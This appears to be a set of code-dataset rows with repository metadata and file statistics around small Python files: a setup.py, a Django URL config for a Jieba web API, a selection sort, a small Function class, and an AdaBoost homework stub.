0
1
0
1
0
1
0
0
3
2770ad535affee47b3f26e859f662148dedb003d
267
py
Python
setup.py
fraco-oxza/classgo
e18df1c32ddaf7d8633f00f68f0fe8440c72cf11
[ "MIT" ]
null
null
null
setup.py
fraco-oxza/classgo
e18df1c32ddaf7d8633f00f68f0fe8440c72cf11
[ "MIT" ]
1
2022-02-21T18:05:07.000Z
2022-02-21T18:05:07.000Z
setup.py
fraco-oxza/classgo
e18df1c32ddaf7d8633f00f68f0fe8440c72cf11
[ "MIT" ]
null
null
null
from setuptools import setup from setuptools import find_packages setup( package=find_packages(), include_packages_data=True, install_requires=[ "click"], entry_points=""" [console_scripts] class=class_go.scripts:cli """ )
20.538462
36
0.670412
29
267
5.896552
0.689655
0.163743
0.233918
0
0
0
0
0
0
0
0
0
0.23221
267
13
37
20.538462
0.834146
0
0
0
0
0
0.264925
0.097015
0
0
0
0
0
1
0
true
0
0.166667
0
0.166667
0
1
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
3
278d512046f01326e868a530d2cdb317d3c379e4
159
py
Python
jiebaWebApi/urls.py
UDICatNCHU/JiebaWebApi
6cb37562fee9e5863dfb778cda71e3c150bf4d56
[ "MIT" ]
1
2019-03-22T09:01:41.000Z
2019-03-22T09:01:41.000Z
jiebaWebApi/urls.py
UDICatNCHU/JiebaWebApi
6cb37562fee9e5863dfb778cda71e3c150bf4d56
[ "MIT" ]
null
null
null
jiebaWebApi/urls.py
UDICatNCHU/JiebaWebApi
6cb37562fee9e5863dfb778cda71e3c150bf4d56
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- from django.conf.urls import url from jiebaWebApi import views urlpatterns = [ url(r'^cut$', views.cut), url(r'^pos$', views.pos), ]
19.875
32
0.654088
24
159
4.333333
0.625
0.076923
0
0
0
0
0
0
0
0
0
0.007353
0.144654
159
7
33
22.714286
0.757353
0.132075
0
0
0
0
0.073529
0
0
0
0
0
0
1
0
false
0
0.333333
0
0.333333
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
3
2791227183fc916516509ae0ae412042c175f688
406
py
Python
sorting/selection_sort.py
Oyekunle-Mark/tangled-mystery
ae789d5b05a4791594427f23d52249af81748ff4
[ "MIT" ]
null
null
null
sorting/selection_sort.py
Oyekunle-Mark/tangled-mystery
ae789d5b05a4791594427f23d52249af81748ff4
[ "MIT" ]
null
null
null
sorting/selection_sort.py
Oyekunle-Mark/tangled-mystery
ae789d5b05a4791594427f23d52249af81748ff4
[ "MIT" ]
1
2021-09-03T16:17:47.000Z
2021-09-03T16:17:47.000Z
from typing import List def selection_sort(arr: List[int]) -> List[int]: for i in range(0, len(arr) - 1): current_index = i smallest_index = i for j in range(current_index + 1, len(arr)): if arr[smallest_index] > arr[j]: smallest_index = j arr[current_index], arr[smallest_index] = arr[smallest_index], arr[current_index] return arr
25.375
89
0.605911
58
406
4.068966
0.37931
0.275424
0.20339
0.241525
0.169492
0
0
0
0
0
0
0.010345
0.285714
406
15
90
27.066667
0.803448
0
0
0
0
0
0
0
0
0
0
0
0
1
0.1
false
0
0.1
0
0.3
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
27956958a87181de522c919f05d513bd4012990f
622
py
Python
prxgt/domain/filter/function.py
praxigento/teq_test_db_schema_attrs
20ec030dc095c644d22631491e066697203d983d
[ "MIT" ]
null
null
null
prxgt/domain/filter/function.py
praxigento/teq_test_db_schema_attrs
20ec030dc095c644d22631491e066697203d983d
[ "MIT" ]
null
null
null
prxgt/domain/filter/function.py
praxigento/teq_test_db_schema_attrs
20ec030dc095c644d22631491e066697203d983d
[ "MIT" ]
null
null
null
__author__ = 'Alex Gusev <alex@flancer64.com>' """ Функция состоит из имени и количества параметров к обработке. """ class Function(object): def __init__(self, name, args_count=2): self._name = name self._args_count = args_count @property def name(self): return self._name @name.setter def name(self, val): self._name = val @property def args_count(self): return self._args_count @args_count.setter def args_count(self, val): self._args_count = val def __repr__(self): return str(self.name) + ":" + str(self.args_count)
21.448276
61
0.631833
81
622
4.518519
0.37037
0.221311
0.142077
0.092896
0.120219
0
0
0
0
0
0
0.006522
0.26045
622
29
62
21.448276
0.78913
0
0
0.105263
0
0
0.057762
0
0
0
0
0
0
1
0.315789
false
0
0
0.157895
0.526316
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
0
0
0
3
27a513a23b5dd1f9d173d42360d60a03afafb444
826
py
Python
3/q1_adaboost_python/adaboostLSLC.py
danikhani/ML-I_WS2020
e96555f3993b48511249d1677b39ae4e589e7bdb
[ "MIT" ]
null
null
null
3/q1_adaboost_python/adaboostLSLC.py
danikhani/ML-I_WS2020
e96555f3993b48511249d1677b39ae4e589e7bdb
[ "MIT" ]
null
null
null
3/q1_adaboost_python/adaboostLSLC.py
danikhani/ML-I_WS2020
e96555f3993b48511249d1677b39ae4e589e7bdb
[ "MIT" ]
null
null
null
import numpy as np from numpy.random import choice from leastSquares import leastSquares def adaboostLSLC(X, Y, K, nSamples): # Adaboost with least squares linear classifier as weak classifier # for a D-dim dataset # # INPUT: # X : the dataset (numSamples x numDim) # Y : labeling (numSamples x 1) # K : number of weak classifiers (iteration number of Adaboost) (scalar) # nSamples : number of data which are weighted sampled (scalar) # # OUTPUT: # alphaK : voting weights (K x 1) # para : parameters of least square classifier (K x 3) # For a D-dim dataset each least square classifier has D+1 parameters # w0, w1, w2........wD #####Insert your code here for subtask 1e##### return [alphaK, para]
34.416667
85
0.615012
107
826
4.747664
0.588785
0.047244
0.019685
0.031496
0.059055
0
0
0
0
0
0
0.013865
0.301453
826
23
86
35.913043
0.866551
0.691283
0
0
0
0
0
0
0
0
0
0.043478
0
1
0.2
false
0
0.6
0.2
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
1
1
0
0
0
3